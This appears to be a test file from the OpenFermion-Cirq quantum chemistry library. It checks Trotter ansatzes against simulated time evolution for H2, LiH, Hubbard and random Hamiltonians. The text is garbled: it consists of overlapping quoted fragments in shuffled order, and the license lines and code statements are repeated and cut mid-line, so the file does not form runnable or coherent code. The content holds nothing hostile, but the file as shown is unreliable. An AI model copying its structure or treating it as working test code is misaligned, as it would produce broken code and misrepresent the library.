openfermion.InteractionOperator( constant=hamiltonian.constant, one_body_tensor=hamiltonian.one_body_tensor, two_body_tensor=0.5 * hamiltonian.two_body_tensor) simulation_circuit = cirq.Circuit(", "Compute value by simulating time evolution if isinstance(hamiltonian, openfermion.DiagonalCoulombHamiltonian): quarter_way_hamiltonian", "express or implied. # See the License for the specific", "except in compliance with the License. # You may obtain", "final_state = ( preparation_circuit + simulation_circuit).final_wavefunction() correct_val = openfermion.expectation( objective._hamiltonian_linear_op,", "Licensed under the Apache License, Version 2.0 (the \"License\"); #", "not use this file except in compliance with the License.", "study_val, atol=atol) numpy.testing.assert_allclose(obj_val, correct_val, atol=atol) @pytest.mark.parametrize( 'ansatz, trotter_algorithm, order, hamiltonian,", "writing, software # distributed under the License is distributed on", "you may not use this file except in compliance with", "that a Trotter ansatz with two iterations and default parameters", "study study = VariationalStudy( 'study', ansatz, objective, preparation_circuit=preparation_circuit) study_val =", "# Licensed under the Apache License, Version 2.0 (the \"License\");", "iterations=1), LOW_RANK, 0, h2_hamiltonian, 5e-5), (LowRankTrotterAnsatz(lih_hamiltonian, iterations=1, final_rank=3), LowRankTrotterAlgorithm(final_rank=3), 0,", "simulation_circuit = cirq.Circuit( simulate_trotter( qubits, half_way_hamiltonian, time=ansatz.adiabatic_evolution_time, n_steps=1, order=order, algorithm=trotter_algorithm)", "iterations=2), SPLIT_OPERATOR, 1, diag_coul_hamiltonian, 5e-5), (LowRankTrotterAnsatz(h2_hamiltonian, iterations=2), LOW_RANK, 0, h2_hamiltonian,", "2, 2) # 4-qubit LiH 2-2 with bond length 1.45", "isinstance(hamiltonian, openfermion.DiagonalCoulombHamiltonian): one_body = hamiltonian.one_body elif isinstance(hamiltonian, openfermion.InteractionOperator): one_body =", "'study', ansatz, objective, preparation_circuit=preparation_circuit) study_val = study.value_of(ansatz.default_initial_params()) # Compute value", "one_body=hamiltonian.one_body, two_body=0.75 * hamiltonian.two_body) elif isinstance(hamiltonian, openfermion.InteractionOperator): quarter_way_hamiltonian = openfermion.InteractionOperator(", "Compute value using ansatz circuit and objective circuit = cirq.resolve_parameters(", "CONDITIONS OF ANY KIND, either express or implied. # See", "trotter_algorithm, order, hamiltonian, atol', [ (SwapNetworkTrotterAnsatz(diag_coul_hamiltonian, iterations=2), LINEAR_SWAP_NETWORK, 1, diag_coul_hamiltonian,", "0.7414 bond_length = 0.7414 geometry = [('H', (0., 0., 0.)),", "ansatz, trotter_algorithm, order, hamiltonian, atol): \"\"\"Check that a Trotter ansatz", "is distributed on an \"AS IS\" BASIS, # WITHOUT WARRANTIES", "time=0.5 * ansatz.adiabatic_evolution_time, n_steps=1, order=order, algorithm=trotter_algorithm), simulate_trotter( qubits, three_quarters_way_hamiltonian, time=0.5", "time=0.5 * ansatz.adiabatic_evolution_time, n_steps=1, order=order, algorithm=trotter_algorithm) ) final_state = (", "objective.value(result) # Compute value using study study = VariationalStudy( 'study',", "simulation_circuit).final_wavefunction() correct_val = openfermion.expectation( objective._hamiltonian_linear_op, final_state).real numpy.testing.assert_allclose(obj_val, study_val, atol=atol) numpy.testing.assert_allclose(obj_val,", "(LowRankTrotterAnsatz(h2_hamiltonian, iterations=2), LOW_RANK, 0, h2_hamiltonian, 5e-5), (LowRankTrotterAnsatz(lih_hamiltonian, iterations=2, final_rank=3), LowRankTrotterAlgorithm(final_rank=3),", "atol=atol) @pytest.mark.parametrize( 'ansatz, trotter_algorithm, order, hamiltonian, atol', [ (SwapNetworkTrotterAnsatz(diag_coul_hamiltonian, iterations=2),", "qubits, three_quarters_way_hamiltonian, time=0.5 * ansatz.adiabatic_evolution_time, n_steps=1, order=order, algorithm=trotter_algorithm) ) final_state", "= study.value_of(ansatz.default_initial_params()) # Compute value by simulating time evolution if", ") final_state = ( preparation_circuit + simulation_circuit).final_wavefunction() correct_val = openfermion.expectation(", "openfermion.InteractionOperator): half_way_hamiltonian = openfermion.InteractionOperator( constant=hamiltonian.constant, one_body_tensor=hamiltonian.one_body_tensor, two_body_tensor=0.5 * hamiltonian.two_body_tensor) simulation_circuit", "hamiltonian, atol', [ (SwapNetworkTrotterAnsatz(diag_coul_hamiltonian, iterations=2), LINEAR_SWAP_NETWORK, 1, diag_coul_hamiltonian, 5e-5), (SplitOperatorTrotterAnsatz(diag_coul_hamiltonian,", "import ( LINEAR_SWAP_NETWORK, LOW_RANK, LowRankTrotterAlgorithm, SPLIT_OPERATOR) # 4-qubit random DiagonalCoulombHamiltonian", "\"\"\"Check that a Trotter ansatz with two iterations and default", "iterations=1), SPLIT_OPERATOR, 1, diag_coul_hamiltonian, 5e-5), (LowRankTrotterAnsatz(h2_hamiltonian, iterations=1), LOW_RANK, 0, h2_hamiltonian,", "1, diag_coul_hamiltonian, 5e-5), (LowRankTrotterAnsatz(h2_hamiltonian, iterations=1), LOW_RANK, 0, h2_hamiltonian, 5e-5), (LowRankTrotterAnsatz(lih_hamiltonian,", "diag_coul_hamiltonian, 5e-5), (LowRankTrotterAnsatz(h2_hamiltonian, iterations=1), LOW_RANK, 0, h2_hamiltonian, 5e-5), (LowRankTrotterAnsatz(lih_hamiltonian, iterations=1,", "= openfermion.DiagonalCoulombHamiltonian( one_body=hamiltonian.one_body, two_body=0.25 * hamiltonian.two_body) three_quarters_way_hamiltonian = openfermion.DiagonalCoulombHamiltonian( one_body=hamiltonian.one_body,", "2-2 with bond length 0.7414 bond_length = 0.7414 geometry =", "iteration and default parameters is consistent with time evolution with", "openfermion.InteractionOperator( constant=hamiltonian.constant, one_body_tensor=hamiltonian.one_body_tensor, two_body_tensor=0.5 * hamiltonian.two_body_tensor) simulation_circuit = cirq.Circuit( simulate_trotter(", "1.0, 4.0), openfermion.up_then_down) ), 5e-5) ]) def test_trotter_ansatzes_default_initial_params_iterations_2( ansatz, trotter_algorithm,", "OR CONDITIONS OF ANY KIND, either express or implied. #", "5e-5), (LowRankTrotterAnsatz(lih_hamiltonian, iterations=1, final_rank=3), LowRankTrotterAlgorithm(final_rank=3), 0, lih_hamiltonian, 5e-5), (SwapNetworkTrotterHubbardAnsatz(2, 2,", "= openfermion.DiagonalCoulombHamiltonian( one_body=hamiltonian.one_body, two_body=0.75 * hamiltonian.two_body) elif isinstance(hamiltonian, openfermion.InteractionOperator): quarter_way_hamiltonian", "the License is distributed on an \"AS IS\" BASIS, #", "openfermion.expectation( objective._hamiltonian_linear_op, final_state).real numpy.testing.assert_allclose(obj_val, study_val, atol=atol) numpy.testing.assert_allclose(obj_val, correct_val, atol=atol) @pytest.mark.parametrize(", "(0., 0., bond_length))] h2_hamiltonian = openfermion.load_molecular_hamiltonian( geometry, 'sto-3g', 1, format(bond_length),", "from openfermioncirq.trotter import ( LINEAR_SWAP_NETWORK, LOW_RANK, LowRankTrotterAlgorithm, SPLIT_OPERATOR) # 4-qubit", "= [('H', (0., 0., 0.)), ('H', (0., 0., bond_length))] h2_hamiltonian", "constant=hamiltonian.constant, one_body_tensor=hamiltonian.one_body_tensor, two_body_tensor=0.5 * hamiltonian.two_body_tensor) simulation_circuit = cirq.Circuit( simulate_trotter( qubits,", "geometry, 'sto-3g', 1, format(bond_length), 2, 2) @pytest.mark.parametrize( 'ansatz, trotter_algorithm, order,", "time evolution with two Trotter steps.\"\"\" objective = HamiltonianObjective(hamiltonian) qubits", "openfermion.DiagonalCoulombHamiltonian( one_body=hamiltonian.one_body, two_body=0.25 * hamiltonian.two_body) three_quarters_way_hamiltonian = openfermion.DiagonalCoulombHamiltonian( one_body=hamiltonian.one_body, two_body=0.75", "HamiltonianObjective(hamiltonian) qubits = ansatz.qubits if isinstance(hamiltonian, openfermion.DiagonalCoulombHamiltonian): one_body = hamiltonian.one_body", "three_quarters_way_hamiltonian = openfermion.DiagonalCoulombHamiltonian( one_body=hamiltonian.one_body, two_body=0.75 * hamiltonian.two_body) elif isinstance(hamiltonian, openfermion.InteractionOperator):", "openfermion.DiagonalCoulombHamiltonian( one_body=hamiltonian.one_body, two_body=0.75 * hamiltonian.two_body) elif isinstance(hamiltonian, openfermion.InteractionOperator): quarter_way_hamiltonian =", "trotter_algorithm, order, hamiltonian, atol', [ (SwapNetworkTrotterAnsatz(diag_coul_hamiltonian, iterations=1), LINEAR_SWAP_NETWORK, 1, diag_coul_hamiltonian,", "LowRankTrotterAlgorithm(final_rank=3), 0, lih_hamiltonian, 5e-5), (SwapNetworkTrotterHubbardAnsatz(2, 2, 1.0, 4.0, iterations=1), LINEAR_SWAP_NETWORK,", "h2_hamiltonian, 5e-5), (LowRankTrotterAnsatz(lih_hamiltonian, iterations=2, final_rank=3), LowRankTrotterAlgorithm(final_rank=3), 0, lih_hamiltonian, 1e-3), (SwapNetworkTrotterHubbardAnsatz(2,", "by simulating time evolution if isinstance(hamiltonian, openfermion.DiagonalCoulombHamiltonian): quarter_way_hamiltonian = openfermion.DiagonalCoulombHamiltonian(", "ansatz.adiabatic_evolution_time, n_steps=1, order=order, algorithm=trotter_algorithm), simulate_trotter( qubits, three_quarters_way_hamiltonian, time=0.5 * ansatz.adiabatic_evolution_time,", "prepare_gaussian_state, simulate_trotter) from openfermioncirq.trotter import ( LINEAR_SWAP_NETWORK, LOW_RANK, LowRankTrotterAlgorithm, SPLIT_OPERATOR)", "law or agreed to in writing, software # distributed under", "one_body_tensor=hamiltonian.one_body_tensor, two_body_tensor=0.75 * hamiltonian.two_body_tensor) simulation_circuit = cirq.Circuit( simulate_trotter( qubits, quarter_way_hamiltonian,", "openfermion.InteractionOperator): quarter_way_hamiltonian = openfermion.InteractionOperator( constant=hamiltonian.constant, one_body_tensor=hamiltonian.one_body_tensor, two_body_tensor=0.25 * hamiltonian.two_body_tensor) three_quarters_way_hamiltonian", "default parameters is consistent with time evolution with two Trotter", "* hamiltonian.two_body_tensor) simulation_circuit = cirq.Circuit( simulate_trotter( qubits, half_way_hamiltonian, time=ansatz.adiabatic_evolution_time, n_steps=1,", "objective = HamiltonianObjective(hamiltonian) qubits = ansatz.qubits if isinstance(hamiltonian, openfermion.DiagonalCoulombHamiltonian): one_body", "0, h2_hamiltonian, 5e-5), (LowRankTrotterAnsatz(lih_hamiltonian, iterations=1, final_rank=3), LowRankTrotterAlgorithm(final_rank=3), 0, lih_hamiltonian, 5e-5),", "), 5e-5) ]) def test_trotter_ansatzes_default_initial_params_iterations_2( ansatz, trotter_algorithm, order, hamiltonian, atol):", "0, lih_hamiltonian, 1e-3), (SwapNetworkTrotterHubbardAnsatz(2, 2, 1.0, 4.0, iterations=2), LINEAR_SWAP_NETWORK, 1,", "1.45 bond_length = 1.45 geometry = [('Li', (0., 0., 0.)),", "format(bond_length), 2, 2) # 4-qubit LiH 2-2 with bond length", "= openfermion.InteractionOperator( constant=hamiltonian.constant, one_body_tensor=hamiltonian.one_body_tensor, two_body_tensor=0.75 * hamiltonian.two_body_tensor) simulation_circuit = cirq.Circuit(", "2, 1.0, 4.0), openfermion.up_then_down) ), 5e-5) ]) def test_trotter_ansatzes_default_initial_params_iterations_1( ansatz,", "(SplitOperatorTrotterAnsatz(diag_coul_hamiltonian, iterations=1), SPLIT_OPERATOR, 1, diag_coul_hamiltonian, 5e-5), (LowRankTrotterAnsatz(h2_hamiltonian, iterations=1), LOW_RANK, 0,", "atol=atol) numpy.testing.assert_allclose(obj_val, correct_val, atol=atol) @pytest.mark.parametrize( 'ansatz, trotter_algorithm, order, hamiltonian, atol',", "LOW_RANK, 0, h2_hamiltonian, 5e-5), (LowRankTrotterAnsatz(lih_hamiltonian, iterations=1, final_rank=3), LowRankTrotterAlgorithm(final_rank=3), 0, lih_hamiltonian,", "iterations=2), LINEAR_SWAP_NETWORK, 1, diag_coul_hamiltonian, 5e-5), (SplitOperatorTrotterAnsatz(diag_coul_hamiltonian, iterations=2), SPLIT_OPERATOR, 1, diag_coul_hamiltonian,", "may obtain a copy of the License at # #", "one_body_tensor=hamiltonian.one_body_tensor, two_body_tensor=0.5 * hamiltonian.two_body_tensor) simulation_circuit = cirq.Circuit( simulate_trotter( qubits, half_way_hamiltonian,", "study_val = study.value_of(ansatz.default_initial_params()) # Compute value by simulating time evolution", "ansatz, objective, preparation_circuit=preparation_circuit) study_val = study.value_of(ansatz.default_initial_params()) # Compute value by", "IS\" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND,", "( LINEAR_SWAP_NETWORK, LOW_RANK, LowRankTrotterAlgorithm, SPLIT_OPERATOR) # 4-qubit random DiagonalCoulombHamiltonian diag_coul_hamiltonian", "(SwapNetworkTrotterAnsatz(diag_coul_hamiltonian, iterations=2), LINEAR_SWAP_NETWORK, 1, diag_coul_hamiltonian, 5e-5), (SplitOperatorTrotterAnsatz(diag_coul_hamiltonian, iterations=2), SPLIT_OPERATOR, 1,", "hamiltonian.two_body_tensor) simulation_circuit = cirq.Circuit( simulate_trotter( qubits, half_way_hamiltonian, time=ansatz.adiabatic_evolution_time, n_steps=1, order=order,", "may not use this file except in compliance with the", "with two iterations and default parameters is consistent with time", "bond length 1.45 bond_length = 1.45 geometry = [('Li', (0.,", "WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or", "this file except in compliance with the License. # You", "two_body=0.25 * hamiltonian.two_body) three_quarters_way_hamiltonian = openfermion.DiagonalCoulombHamiltonian( one_body=hamiltonian.one_body, two_body=0.75 * hamiltonian.two_body)", "( HamiltonianObjective, LowRankTrotterAnsatz, SplitOperatorTrotterAnsatz, SwapNetworkTrotterAnsatz, SwapNetworkTrotterHubbardAnsatz, VariationalStudy, prepare_gaussian_state, simulate_trotter) from", "and default parameters is consistent with time evolution with two", "# limitations under the License. import numpy import pytest import", "1, diag_coul_hamiltonian, 5e-5), (LowRankTrotterAnsatz(h2_hamiltonian, iterations=2), LOW_RANK, 0, h2_hamiltonian, 5e-5), (LowRankTrotterAnsatz(lih_hamiltonian,", "[ (SwapNetworkTrotterAnsatz(diag_coul_hamiltonian, iterations=2), LINEAR_SWAP_NETWORK, 1, diag_coul_hamiltonian, 5e-5), (SplitOperatorTrotterAnsatz(diag_coul_hamiltonian, iterations=2), SPLIT_OPERATOR,", "# # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law", "= hamiltonian.one_body_tensor if isinstance(ansatz, SwapNetworkTrotterHubbardAnsatz): occupied_orbitals = (range(len(qubits)//4), range(len(qubits)//4)) else:", "file except in compliance with the License. # You may", "on an \"AS IS\" BASIS, # WITHOUT WARRANTIES OR CONDITIONS", "cirq.Circuit( prepare_gaussian_state( qubits, openfermion.QuadraticHamiltonian(one_body), occupied_orbitals=occupied_orbitals ) ) # Compute value", "* hamiltonian.two_body) three_quarters_way_hamiltonian = openfermion.DiagonalCoulombHamiltonian( one_body=hamiltonian.one_body, two_body=0.75 * hamiltonian.two_body) elif", "simulate_trotter( qubits, three_quarters_way_hamiltonian, time=0.5 * ansatz.adiabatic_evolution_time, n_steps=1, order=order, algorithm=trotter_algorithm) )", "elif isinstance(hamiltonian, openfermion.InteractionOperator): one_body = hamiltonian.one_body_tensor if isinstance(ansatz, SwapNetworkTrotterHubbardAnsatz): occupied_orbitals", "hamiltonian.one_body_tensor if isinstance(ansatz, SwapNetworkTrotterHubbardAnsatz): occupied_orbitals = (range(len(qubits)//4), range(len(qubits)//4)) else: occupied_orbitals", "order, hamiltonian, atol): \"\"\"Check that a Trotter ansatz with one", "if isinstance(hamiltonian, openfermion.DiagonalCoulombHamiltonian): half_way_hamiltonian = openfermion.DiagonalCoulombHamiltonian( one_body=hamiltonian.one_body, two_body=0.5 * hamiltonian.two_body)", "0.7414 geometry = [('H', (0., 0., 0.)), ('H', (0., 0.,", "order, hamiltonian, atol): \"\"\"Check that a Trotter ansatz with two", "quarter_way_hamiltonian, time=0.5 * ansatz.adiabatic_evolution_time, n_steps=1, order=order, algorithm=trotter_algorithm), simulate_trotter( qubits, three_quarters_way_hamiltonian,", "bond_length = 1.45 geometry = [('Li', (0., 0., 0.)), ('H',", "( preparation_circuit + simulation_circuit).final_wavefunction() correct_val = openfermion.expectation( objective._hamiltonian_linear_op, final_state).real numpy.testing.assert_allclose(obj_val,", "# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express", "SwapNetworkTrotterHubbardAnsatz, VariationalStudy, prepare_gaussian_state, simulate_trotter) from openfermioncirq.trotter import ( LINEAR_SWAP_NETWORK, LOW_RANK,", "with bond length 1.45 bond_length = 1.45 geometry = [('Li',", "SwapNetworkTrotterHubbardAnsatz): occupied_orbitals = (range(len(qubits)//4), range(len(qubits)//4)) else: occupied_orbitals = range(len(qubits)//2) preparation_circuit", "one_body=hamiltonian.one_body, two_body=0.25 * hamiltonian.two_body) three_quarters_way_hamiltonian = openfermion.DiagonalCoulombHamiltonian( one_body=hamiltonian.one_body, two_body=0.75 *", "one_body_tensor=hamiltonian.one_body_tensor, two_body_tensor=0.25 * hamiltonian.two_body_tensor) three_quarters_way_hamiltonian = openfermion.InteractionOperator( constant=hamiltonian.constant, one_body_tensor=hamiltonian.one_body_tensor, two_body_tensor=0.75", "three_quarters_way_hamiltonian = openfermion.InteractionOperator( constant=hamiltonian.constant, one_body_tensor=hamiltonian.one_body_tensor, two_body_tensor=0.75 * hamiltonian.two_body_tensor) simulation_circuit =", "evolution with one Trotter step.\"\"\" objective = HamiltonianObjective(hamiltonian) qubits =", "0.)), ('H', (0., 0., bond_length))] h2_hamiltonian = openfermion.load_molecular_hamiltonian( geometry, 'sto-3g',", "language governing permissions and # limitations under the License. import", "random DiagonalCoulombHamiltonian diag_coul_hamiltonian = openfermion.random_diagonal_coulomb_hamiltonian( 4, real=True, seed=47141) # 4-qubit", "]) def test_trotter_ansatzes_default_initial_params_iterations_1( ansatz, trotter_algorithm, order, hamiltonian, atol): \"\"\"Check that", "hamiltonian, atol): \"\"\"Check that a Trotter ansatz with two iterations", "order=order, algorithm=trotter_algorithm), simulate_trotter( qubits, three_quarters_way_hamiltonian, time=0.5 * ansatz.adiabatic_evolution_time, n_steps=1, order=order,", "http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed", "* ansatz.adiabatic_evolution_time, n_steps=1, order=order, algorithm=trotter_algorithm) ) final_state = ( preparation_circuit", "iterations=2, final_rank=3), LowRankTrotterAlgorithm(final_rank=3), 0, lih_hamiltonian, 1e-3), (SwapNetworkTrotterHubbardAnsatz(2, 2, 1.0, 4.0,", "= openfermion.load_molecular_hamiltonian( geometry, 'sto-3g', 1, format(bond_length), 2, 2) @pytest.mark.parametrize( 'ansatz,", "(LowRankTrotterAnsatz(h2_hamiltonian, iterations=1), LOW_RANK, 0, h2_hamiltonian, 5e-5), (LowRankTrotterAnsatz(lih_hamiltonian, iterations=1, final_rank=3), LowRankTrotterAlgorithm(final_rank=3),", "openfermion.up_then_down) ), 5e-5) ]) def test_trotter_ansatzes_default_initial_params_iterations_1( ansatz, trotter_algorithm, order, hamiltonian,", "LOW_RANK, LowRankTrotterAlgorithm, SPLIT_OPERATOR) # 4-qubit random DiagonalCoulombHamiltonian diag_coul_hamiltonian = openfermion.random_diagonal_coulomb_hamiltonian(", "three_quarters_way_hamiltonian, time=0.5 * ansatz.adiabatic_evolution_time, n_steps=1, order=order, algorithm=trotter_algorithm) ) final_state =", "diag_coul_hamiltonian, 5e-5), (SplitOperatorTrotterAnsatz(diag_coul_hamiltonian, iterations=2), SPLIT_OPERATOR, 1, diag_coul_hamiltonian, 5e-5), (LowRankTrotterAnsatz(h2_hamiltonian, iterations=2),", "HamiltonianObjective, LowRankTrotterAnsatz, SplitOperatorTrotterAnsatz, SwapNetworkTrotterAnsatz, SwapNetworkTrotterHubbardAnsatz, VariationalStudy, prepare_gaussian_state, simulate_trotter) from openfermioncirq.trotter", "or implied. # See the License for the specific language", "= range(len(qubits)//2) preparation_circuit = cirq.Circuit( prepare_gaussian_state( qubits, openfermion.QuadraticHamiltonian(one_body), occupied_orbitals=occupied_orbitals )", "SPLIT_OPERATOR, 1, diag_coul_hamiltonian, 5e-5), (LowRankTrotterAnsatz(h2_hamiltonian, iterations=2), LOW_RANK, 0, h2_hamiltonian, 5e-5),", "def test_trotter_ansatzes_default_initial_params_iterations_1( ansatz, trotter_algorithm, order, hamiltonian, atol): \"\"\"Check that a", "= VariationalStudy( 'study', ansatz, objective, preparation_circuit=preparation_circuit) study_val = study.value_of(ansatz.default_initial_params()) #", "KIND, either express or implied. # See the License for", "specific language governing permissions and # limitations under the License.", "0., bond_length))] lih_hamiltonian = openfermion.load_molecular_hamiltonian( geometry, 'sto-3g', 1, format(bond_length), 2,", "evolution if isinstance(hamiltonian, openfermion.DiagonalCoulombHamiltonian): half_way_hamiltonian = openfermion.DiagonalCoulombHamiltonian( one_body=hamiltonian.one_body, two_body=0.5 *", "diag_coul_hamiltonian, 5e-5), (SplitOperatorTrotterAnsatz(diag_coul_hamiltonian, iterations=1), SPLIT_OPERATOR, 1, diag_coul_hamiltonian, 5e-5), (LowRankTrotterAnsatz(h2_hamiltonian, iterations=1),", "(SwapNetworkTrotterHubbardAnsatz(2, 2, 1.0, 4.0, iterations=2), LINEAR_SWAP_NETWORK, 1, openfermion.get_diagonal_coulomb_hamiltonian( openfermion.reorder( openfermion.fermi_hubbard(2,", "test_trotter_ansatzes_default_initial_params_iterations_1( ansatz, trotter_algorithm, order, hamiltonian, atol): \"\"\"Check that a Trotter", "two iterations and default parameters is consistent with time evolution", "License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by", "preparation_circuit=preparation_circuit) study_val = study.value_of(ansatz.default_initial_params()) # Compute value by simulating time", "= 0.7414 geometry = [('H', (0., 0., 0.)), ('H', (0.,", "value by simulating time evolution if isinstance(hamiltonian, openfermion.DiagonalCoulombHamiltonian): half_way_hamiltonian =", "occupied_orbitals = (range(len(qubits)//4), range(len(qubits)//4)) else: occupied_orbitals = range(len(qubits)//2) preparation_circuit =", "occupied_orbitals=occupied_orbitals ) ) # Compute value using ansatz circuit and", "one_body = hamiltonian.one_body elif isinstance(hamiltonian, openfermion.InteractionOperator): one_body = hamiltonian.one_body_tensor if", "correct_val = openfermion.expectation( objective._hamiltonian_linear_op, final_state).real numpy.testing.assert_allclose(obj_val, study_val, atol=atol) numpy.testing.assert_allclose(obj_val, correct_val,", "1e-3), (SwapNetworkTrotterHubbardAnsatz(2, 2, 1.0, 4.0, iterations=2), LINEAR_SWAP_NETWORK, 1, openfermion.get_diagonal_coulomb_hamiltonian( openfermion.reorder(", "geometry = [('H', (0., 0., 0.)), ('H', (0., 0., bond_length))]", "= hamiltonian.one_body elif isinstance(hamiltonian, openfermion.InteractionOperator): one_body = hamiltonian.one_body_tensor if isinstance(ansatz,", "(the \"License\"); # you may not use this file except", "is consistent with time evolution with one Trotter step.\"\"\" objective", "hamiltonian, atol): \"\"\"Check that a Trotter ansatz with one iteration", "# you may not use this file except in compliance", "SPLIT_OPERATOR, 1, diag_coul_hamiltonian, 5e-5), (LowRankTrotterAnsatz(h2_hamiltonian, iterations=1), LOW_RANK, 0, h2_hamiltonian, 5e-5),", "LINEAR_SWAP_NETWORK, LOW_RANK, LowRankTrotterAlgorithm, SPLIT_OPERATOR) # 4-qubit random DiagonalCoulombHamiltonian diag_coul_hamiltonian =", "<gh_stars>0 # Licensed under the Apache License, Version 2.0 (the", "numpy.testing.assert_allclose(obj_val, study_val, atol=atol) numpy.testing.assert_allclose(obj_val, correct_val, atol=atol) @pytest.mark.parametrize( 'ansatz, trotter_algorithm, order,", "openfermion.DiagonalCoulombHamiltonian): one_body = hamiltonian.one_body elif isinstance(hamiltonian, openfermion.InteractionOperator): one_body = hamiltonian.one_body_tensor", "two Trotter steps.\"\"\" objective = HamiltonianObjective(hamiltonian) qubits = ansatz.qubits if", "(LowRankTrotterAnsatz(lih_hamiltonian, iterations=2, final_rank=3), LowRankTrotterAlgorithm(final_rank=3), 0, lih_hamiltonian, 1e-3), (SwapNetworkTrotterHubbardAnsatz(2, 2, 1.0,", "one Trotter step.\"\"\" objective = HamiltonianObjective(hamiltonian) qubits = ansatz.qubits if", "0, lih_hamiltonian, 5e-5), (SwapNetworkTrotterHubbardAnsatz(2, 2, 1.0, 4.0, iterations=1), LINEAR_SWAP_NETWORK, 1,", "two_body_tensor=0.75 * hamiltonian.two_body_tensor) simulation_circuit = cirq.Circuit( simulate_trotter( qubits, quarter_way_hamiltonian, time=0.5", "4.0, iterations=1), LINEAR_SWAP_NETWORK, 1, openfermion.get_diagonal_coulomb_hamiltonian( openfermion.reorder( openfermion.fermi_hubbard(2, 2, 1.0, 4.0),", "default parameters is consistent with time evolution with one Trotter", "# # Unless required by applicable law or agreed to", "# Compute value using study study = VariationalStudy( 'study', ansatz,", "evolution if isinstance(hamiltonian, openfermion.DiagonalCoulombHamiltonian): quarter_way_hamiltonian = openfermion.DiagonalCoulombHamiltonian( one_body=hamiltonian.one_body, two_body=0.25 *", "= objective.value(result) # Compute value using study study = VariationalStudy(", "obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0", "elif isinstance(hamiltonian, openfermion.InteractionOperator): half_way_hamiltonian = openfermion.InteractionOperator( constant=hamiltonian.constant, one_body_tensor=hamiltonian.one_body_tensor, two_body_tensor=0.5 *", "4, real=True, seed=47141) # 4-qubit H2 2-2 with bond length", "elif isinstance(hamiltonian, openfermion.InteractionOperator): quarter_way_hamiltonian = openfermion.InteractionOperator( constant=hamiltonian.constant, one_body_tensor=hamiltonian.one_body_tensor, two_body_tensor=0.25 *", "LowRankTrotterAnsatz, SplitOperatorTrotterAnsatz, SwapNetworkTrotterAnsatz, SwapNetworkTrotterHubbardAnsatz, VariationalStudy, prepare_gaussian_state, simulate_trotter) from openfermioncirq.trotter import", "Version 2.0 (the \"License\"); # you may not use this", "geometry = [('Li', (0., 0., 0.)), ('H', (0., 0., bond_length))]", "time evolution with one Trotter step.\"\"\" objective = HamiltonianObjective(hamiltonian) qubits", "simulation_circuit = cirq.Circuit( simulate_trotter( qubits, quarter_way_hamiltonian, time=0.5 * ansatz.adiabatic_evolution_time, n_steps=1,", "5e-5), (LowRankTrotterAnsatz(h2_hamiltonian, iterations=1), LOW_RANK, 0, h2_hamiltonian, 5e-5), (LowRankTrotterAnsatz(lih_hamiltonian, iterations=1, final_rank=3),", "permissions and # limitations under the License. import numpy import", "openfermion.up_then_down) ), 5e-5) ]) def test_trotter_ansatzes_default_initial_params_iterations_2( ansatz, trotter_algorithm, order, hamiltonian,", "* hamiltonian.two_body) elif isinstance(hamiltonian, openfermion.InteractionOperator): quarter_way_hamiltonian = openfermion.InteractionOperator( constant=hamiltonian.constant, one_body_tensor=hamiltonian.one_body_tensor,", "Trotter ansatz with one iteration and default parameters is consistent", "under the License. import numpy import pytest import cirq import", "1.45 geometry = [('Li', (0., 0., 0.)), ('H', (0., 0.,", "1, diag_coul_hamiltonian, 5e-5), (SplitOperatorTrotterAnsatz(diag_coul_hamiltonian, iterations=2), SPLIT_OPERATOR, 1, diag_coul_hamiltonian, 5e-5), (LowRankTrotterAnsatz(h2_hamiltonian,", "implied. # See the License for the specific language governing", "'sto-3g', 1, format(bond_length), 2, 2) @pytest.mark.parametrize( 'ansatz, trotter_algorithm, order, hamiltonian,", "under the Apache License, Version 2.0 (the \"License\"); # you", "= 1.45 geometry = [('Li', (0., 0., 0.)), ('H', (0.,", "= HamiltonianObjective(hamiltonian) qubits = ansatz.qubits if isinstance(hamiltonian, openfermion.DiagonalCoulombHamiltonian): one_body =", "two_body_tensor=0.25 * hamiltonian.two_body_tensor) three_quarters_way_hamiltonian = openfermion.InteractionOperator( constant=hamiltonian.constant, one_body_tensor=hamiltonian.one_body_tensor, two_body_tensor=0.75 *", "openfermion.get_diagonal_coulomb_hamiltonian( openfermion.reorder( openfermion.fermi_hubbard(2, 2, 1.0, 4.0), openfermion.up_then_down) ), 5e-5) ])", "2, 1.0, 4.0), openfermion.up_then_down) ), 5e-5) ]) def test_trotter_ansatzes_default_initial_params_iterations_2( ansatz,", "import openfermion from openfermioncirq import ( HamiltonianObjective, LowRankTrotterAnsatz, SplitOperatorTrotterAnsatz, SwapNetworkTrotterAnsatz,", "result = circuit.final_wavefunction( qubit_order=ansatz.qubit_permutation(qubits)) obj_val = objective.value(result) # Compute value", "0.)), ('H', (0., 0., bond_length))] lih_hamiltonian = openfermion.load_molecular_hamiltonian( geometry, 'sto-3g',", "qubit_order=ansatz.qubit_permutation(qubits)) obj_val = objective.value(result) # Compute value using study study", "with one iteration and default parameters is consistent with time", "by applicable law or agreed to in writing, software #", "order, hamiltonian, atol', [ (SwapNetworkTrotterAnsatz(diag_coul_hamiltonian, iterations=2), LINEAR_SWAP_NETWORK, 1, diag_coul_hamiltonian, 5e-5),", "atol): \"\"\"Check that a Trotter ansatz with one iteration and", "consistent with time evolution with two Trotter steps.\"\"\" objective =", "hamiltonian.two_body) elif isinstance(hamiltonian, openfermion.InteractionOperator): half_way_hamiltonian = openfermion.InteractionOperator( constant=hamiltonian.constant, one_body_tensor=hamiltonian.one_body_tensor, two_body_tensor=0.5", "* ansatz.adiabatic_evolution_time, n_steps=1, order=order, algorithm=trotter_algorithm), simulate_trotter( qubits, three_quarters_way_hamiltonian, time=0.5 *", "correct_val, atol=atol) @pytest.mark.parametrize( 'ansatz, trotter_algorithm, order, hamiltonian, atol', [ (SwapNetworkTrotterAnsatz(diag_coul_hamiltonian,", "n_steps=1, order=order, algorithm=trotter_algorithm), simulate_trotter( qubits, three_quarters_way_hamiltonian, time=0.5 * ansatz.adiabatic_evolution_time, n_steps=1,", "import ( HamiltonianObjective, LowRankTrotterAnsatz, SplitOperatorTrotterAnsatz, SwapNetworkTrotterAnsatz, SwapNetworkTrotterHubbardAnsatz, VariationalStudy, prepare_gaussian_state, simulate_trotter)", "bond length 0.7414 bond_length = 0.7414 